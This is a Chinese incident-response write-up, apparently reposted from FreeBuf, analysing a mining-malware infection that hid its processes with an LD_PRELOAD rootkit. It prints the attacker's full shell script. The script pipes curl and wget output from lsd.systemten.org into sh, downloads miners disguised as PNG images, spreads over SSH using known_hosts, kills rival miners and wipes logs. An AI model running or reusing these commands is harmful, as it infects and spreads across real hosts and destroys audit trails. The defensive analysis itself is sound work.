搜索

[15383] 2020-05-17_一起挖矿病毒事件的深度分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-05-17_一起挖矿病毒事件的深度分析 一 起 挖 矿 病 毒 事 件 的 深 度 分 析 G h 0 s t W a 1 k e r   F r e e B u f   2 0 2 0 - 0 5 - 1 7 起 因 起 因 朋 友 公 司 遇 到 了 一 起 挖 矿 病 毒 事 件 ， 找 我 帮 忙 看 看 。 朋 友 公 司 遇 到 了 一 起 挖 矿 病 毒 事 件 ， 找 我 帮 忙 看 看 。 入 侵 分 析 入 侵 分 析 基 本 信 息 检 查 基 本 信 息 检 查 当 我 登 录 服 务 器 做 检 测 时 ， t o p 回 显 并 未 发 现 异 常 进 程 ： 但 是 在 c r o n t a b 中 发 现 一 条 异 常 的 定 时 任 务 ： 通 过 访 问 定 时 任 务 中 的 u r l ， 发 现 是 一 个 s h e l l 脚 本 （ 目 前 已 被 黑 客 删 除 ） ： 脚 本 分 析 脚 本 分 析 有 了 攻 击 脚 本 的 话 ， 我 们 就 能 更 加 快 速 的 了 解 他 的 攻 击 方 式 了 ， 所 以 让 我 们 来 分 析 下 脚 本 到 底 干 了 些 什 么 ： 创 建 定 时 任 务 ， 不 断 检 测 ， 确 保 不 被 删 除 果 然 是 黑 客 ， 领 土 意 识 就 是 比 一 般 人 强 ， 第 二 步 就 是 检 测 主 机 上 是 否 存 在 其 他 的 挖 矿 病 毒 ， 有 的 话 直 接 干 掉 e c h o   " * / 1 0   *   *   *   *   ( c u r l   - f s S L   - m 1 8 0   l s d . s y s t e m t e n . o r g | | w g e t   - q   - T 1 8 0   - O -   l s d . s y s t e m t e n . o r g ) | s h " | c r o n t a b   - c a t   >   / e t c / c r o n t a b   < < E O F S H E L L = / b i n / b a s h P A T H = / s b i n : / b i n : / u s r / s b i n : / u s r / b i n * / 1 0   *   *   *   *   r o o t   ( / u s r / l o c a l / s b i n / s s h d | | c u r l   - f s S L   - m 1 8 0   l s d . s y s t e m t e n . o r g | | w g e t   - q   - T 1 8 0   - O -   l s d . s y s t e m t e n . o r g ) | s h E O F p s   - e f | g r e p   - v   g r e p | g r e p   h w l h 3 w l h 4 4 l h | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   C i r c l e _ M I | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   g e t . b i - c h i . c o m | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   h a s h v a u l t . p r o | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   n a n o p o o l . o r g | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   / u s r / b i n / . s s h d | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   / u s r / b i n / b s d - p o r t | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " x m r " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " x i g " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " d d g s " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " q W 3 x T " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " w n T K Y g " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " t 0 0 l s . r u " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " s u s t e s " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " t h i s x x s " | a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " h a s h f i s h " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9 p s   - e f | g r e p   - v   g r e p | g r e p   " k w o r k e r d s " | a w k   ' { p r i n t   $ 2 } ' | x a r g s   k i l l   - 9
开 始 下 载 挖 矿 木 马 了 ， 黑 客 事 先 已 经 将 木 马 文 件 上 传 到 一 些 图 片 分 享 网 站 ， 通 过 脚 本 将 木 马 下 载 到 特 定 目 录 下 并 修 改 文 件 名 ， 添 加 执 行 权 限 并 启 动 黑 客 当 然 不 满 足 占 领 一 台 主 机 ， 所 以 脚 本 会 遍 历 r o o t ， / h o m e / * 目 录 下 的 所 有 . s s h 文 件 ， 尝 试 横 向 转 播 ， 扩 大 战 果 最 后 就 是 常 规 的 毁 尸 灭 迹 了 （ 这 个 方 法 有 点 糙 。 。 。 ） 再 次 排 查 再 次 排 查 我 们 先 把 c r o n t a b 进 程 关 闭 ， 防 止 排 查 过 程 中 不 断 的 执 行 从 而 干 扰 排 查 工 作 。 然 后 将 定 时 任 务 注 释 或 删 除 : 回 到 刚 开 始 排 查 是 的 情 况 ， 为 什 么 我 们 在 t o p 回 显 中 一 条 异 常 信 息 都 看 不 到 呢 ？ 我 又 在 主 机 上 搜 索 了 下 脚 本 中 提 到 的 s s h d 木 马 : p s 和 n e t s t a t 命 令 都 看 不 到 s s h d 的 进 程 信 息 ， 这 个 信 息 说 明 s s h d 是 一 个 带 有 隐 藏 信 息 的 r o o t k i t ， n e t s t a t 中 能 显 示 端 口 信 息 但 是 无 法 显 示 进 程 信 息 所 以 能 确 定 ， 这 并 不 是 一 个 内 核 级 别 的 r o o t k i t （ 为 毛 我 有 点 高 兴 又 有 点 失 望 呢 。 。 。 ） ， 所 以 这 只 是 一 个 用 户 态 的 m a l w a r e 。 用 户 态 的 m a l w a r e 方 式 无 非 就 是 ： 1 . 通 过 替 换 系 统 中 常 见 的 进 程 查 看 工 具 （ 比 如 p s 、 t o p 、 l s o f ） 的 二 进 制 程 序 ， 导 致 原 先 查 看 进 程 相 关 信 息 的 工 具 （ p s 、 t o p 、 l s o f 等 ） 都 被 调 包 ； 2 . 通 过 劫 持 g e t d e n t s   等 系 统 调 用 函 数 或 l i b c 中 的 r e a d d i r   函 数 ， 实 现 对 特 定 进 程 名 进 程 的 隐 藏 ， 以 达 到 进 程 隐 藏 目 的 ； 3 . 在 恶 意 代 码 中 通 过 设 置 具 有 迷 惑 性 的 进 程 名 字 ， 以 达 到 躲 避 管 理 员 检 查 的 目 的 ； 4 . 利 用 m o u n t   — b i n d   将 另 外 一 个 目 录 挂 载 覆 盖 至 / p r o c / 目 录 下 指 定 进 程 I D 的 目 录 ， 我 们 知 道 p s 、 t o p 等 工 具 会 读 取 / p r o c 目 录 下 获 取 进 程 信 息 ， 如 果 将 进 程 I D 的 目 录 信 息 覆 盖 ， 则 原 来 的 进 程 信 息 将 从 p s 的 输 出 结 果 中 隐 匿 ； 我 将 一 台 正 常 主 机 的 p s 和 n e t s t a t 命 令 拷 到 本 机 进 行 测 试 发 现 还 是 无 法 看 到 s s h d ： c d   / t m p t o u c h   / u s r / l o c a l / b i n / w r i t e a b l e   & &   c d   / u s r / l o c a l / b i n / t o u c h   / u s r / l i b e x e c / w r i t e a b l e   & &   c d   / u s r / l i b e x e c / t o u c h   / u s r / b i n / w r i t e a b l e   & &   c d   / u s r / b i n / r m   - r f   / u s r / l o c a l / b i n / w r i t e a b l e   / u s r / l i b e x e c / w r i t e a b l e   / u s r / b i n / w r i t e a b l e e x p o r t   P A T H = $ P A T H : $ ( p w d ) i f   [   !   - f   " / t m p / . X I m u n i x "   ]   | |   [   !   - f   " / p r o c / $ ( c a t   / t m p / . X I m u n i x ) / i o "   ] ;   t h e n         c h a t t r   - i   s s h d         r m   - r f   s s h d         A R C H = $ ( g e t c o n f   L O N G _ B I T )         i f   [   $ { A R C H } x   =   " 3 2 x "   ] ;   t h e n                 ( c u r l   - - c o n n e c t - t i m e o u t   3 0   - - m a x - t i m e   3 0   - - r e t r y   3   - f s S L   i m g . s o b o t . c o m / c h a t r e s / 8 9 / m s g / 2 0 1 9 0 6 2 7 / b 9 1 5 5 9 a c 5 f 6 d 4 d 2 f 9 4 f 9 f b a 2 0 1 2 1 1 7 0 c . p n g   - o   s s h d | | w g e t   - - t i m e o u t = 3 0   - - t r i e s =         e l s e                 ( c u r l   - - c o n n e c t - t i m e o u t   3 0   - - m a x - t i m e   3 0   - - r e t r y   3   - f s S L   i m g . s o b o t . c o m / c h a t r e s / 8 9 / m s g / 2 0 1 9 0 6 2 7 / d 6 d c e d 5 1 9 9 4 3 4 e e 8 9 8 6 7 0 f 7 7 3 e a a a 0 6 9 . p n g   - o   s s h d | | w g e t   - - t i m e o u t = 3 0   - - t r i e s =         f i f i c h m o d   + x   s s h d $ ( p w d ) / s s h d   | |   . / s s h d   | |   / u s r / b i n / s s h d   | |   / u s r / l i b e x e c / s s h d   | |   / u s r / l o c a l / b i n / s s h d   | |   s s h d   | |   / t m p / s s h d   | |   / u s r / l o c a l / s b i n / s s h d i f   [   - f   / r o o t / . s s h / k n o w n _ h o s t s   ]   & &   [   - f   / r o o t / . s s h / i d _ r s a . p u b   ] ;   t h e n     f o r   h   i n   $ ( g r e p   - o E   " b ( [ 0 - 9 ] { 1 , 3 } . ) { 3 } [ 0 - 9 ] { 1 , 3 } b "   / r o o t / . s s h / k n o w n _ h o s t s ) ;   d o   s s h   - o B a t c h M o d e = y e s   - o C o n n e c t T i m e o u t = 5   - o S t r i c t H o s t K e y C h e c k i n g = n o   $ h   ' ( c u r l   - f s S L   l s d . s y s t e m t e n . o r g | | w g e t   - q   - O -   l s d . s y s t e m t e n . o r g ) | s h   > / d e v / n u l l   2 > & 1   & ' f i f o r   f i l e   i n   / h o m e / * d o         i f   t e s t   - d   $ f i l e ;   t h e n                 i f   [   - f   $ f i l e / . s s h / k n o w n _ h o s t s   ]   & &   [   - f   $ f i l e / . s s h / i d _ r s a . p u b   ] ;   t h e n                         f o r   h   i n   $ ( g r e p   - o E   " b ( [ 0 - 9 ] { 1 , 3 } . ) { 3 } [ 0 - 9 ] { 1 , 3 } b "   $ f i l e / . s s h / k n o w n _ h o s t s ) ;   d o   s s h   - o B a t c h M o d e = y e s   - o C o n n e c t T i m e o u t = 5   - o S t r i c t H o s t K e y C h e c k i n g = n o   $ h   ' ( c u r l   - f s S L   l s d . s y s t e m t e n . o r g | | w g e t   - q   - O -   l s d . s y s t e m t e n . o r g ) | s h   > / d e v / n u l l   2 > & 1   & '                 f i         f i d o n e e c h o   0 > / v a r / s p o o l / m a i l / r o o t e c h o   0 > / v a r / l o g / w t m p e c h o   0 > / v a r / l o g / s e c u r e e c h o   0 > / v a r / l o g / c r o n
m o u n t s 中 也 没 有 看 到 异 常 的 挂 载 ： 那 基 本 能 确 认 是 动 态 库 劫 持 导 致 的 隐 藏 ， 现 在 我 们 就 要 用 到 一 个 神 器 了 — - “ b u s y b o x “ ， b u s y b o x 具 有 系 统 通 用 的 命 令 ， 而 且 运 行 的 时 候 是 通 过 静 态 库 调 用 ， 详 细 信 息 大 家 可 以 点 击 链 接 去 了 解 。 通 过 b u s y b o x ， 我 们 终 于 看 到 了 那 些 潜 伏 的 进 程 ： 先 干 掉 进 程 ， 然 后 干 掉 ， 因 为 s s h d 才 是 主 进 程 ， 不 先 干 掉 s s h d 的 话 ， 它 会 不 断 检 测 拉 起 挖 矿 病 毒 ， 然 后 通 过 y u m 命 令 r e m o v e 原 来 的 o p e n s s h - s e r v e r ， 然 后 重 新 安 装 o p e n s s h - s e r v e r 服 务 。 但 是 我 们 现 在 通 过 n e t s t a t 和 p s 命 令 来 查 看 进 程 时 ， 还 是 无 法 看 到 s s h d 等 进 程 ， 这 是 因 为 我 们 之 前 的 动 态 库 h o o k 问 题 还 没 有 解 决 。 我 们 通 过 s t r a c e 命 令 来 看 下 命 令 执 行 时 的 系 统 库 调 用 情 况 ： 在 p s 命 令 执 行 时 ， 优 先 加 载 了 l d . s o . p r e l o a d 中 设 置 的 l i b b o o s t _ t i m e d . s o 动 态 库 ， 可 以 看 出 黑 客 是 通 过 利 用 L D _ P R E L O A D 加 载 恶 意 动 态 链 接 库 达 到 隐 藏 的 目 的 ， 到 该 动 态 库 下 通 过 b u s y b o x   l s 命 令 查 看 ， 发 现 那 个 恶 意 动 态 库 文 件 将 此 恶 意 动 态 库 文 件 移 除 后 ， 终 于 重 现 s s h d 进 程 了 ： { s s h d }   [ k t h r e a d d ] / u s r / l o c a l / s b i n / h a v e g e d s
对 l i b b o o s t _ t i m e d . s o 文 件 进 行 简 单 的 逆 向 后 ， 发 现 它 还 会 对 多 个 文 件 进 行 修 改 ： 到 / v a r / s p o o l / c r o n / 目 录 下 将 两 个 r o o t 文 件 都 删 除 了 ， 突 然 想 了 下 ， 他 是 不 是 还 在 开 机 启 动 项 里 面 留 了 后 门 呢 ， 所 以 立 马 c d 到 / e t c / i n i t . d / 目 录 下 看 了 下 ， 果 然 发 现 了 ： 立 马 r m 了 。 最 后 我 们 将 一 开 始 写 入 的 c r o n t a b 任 务 都 删 除 ， 到 现 在 为 止 本 机 上 的 挖 矿 病 毒 算 排 查 完 成 了 。 安 全 防 护 安 全 防 护 1 . S S H ： ①   谨 慎 做 免 密 登 录 ②   尽 量 不 使 用 默 认 的 2 2 端 口 ③   增 强 r o o t 密 码 强 度 2 . 有 很 多 挖 矿 病 毒 是 通 过 R e d i s 未 认 证 接 口 进 行 攻 击 的 ， 所 以 建 议 使 用 r e d i s 的 同 学 做 以 下 加 固 ： ①   增 加 授 权 认 证 ( r e q u i r e p a s s 参 数 ) ②   尽 量 使 用 d o c k e r 版 本 ( d o c k e r   p u l l   r e d i s ) ③   隐 藏 重 要 的 命 令 3 . 不 要 安 装 来 源 不 明 的 软 件 ， 不 管 是 在 个 人 p c 还 是 在 测 试 服 务 器 上 ！ ！ ！ * 本 文 作 者 ： 本 文 作 者 ： G h 0 s t W a 1 k e r ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理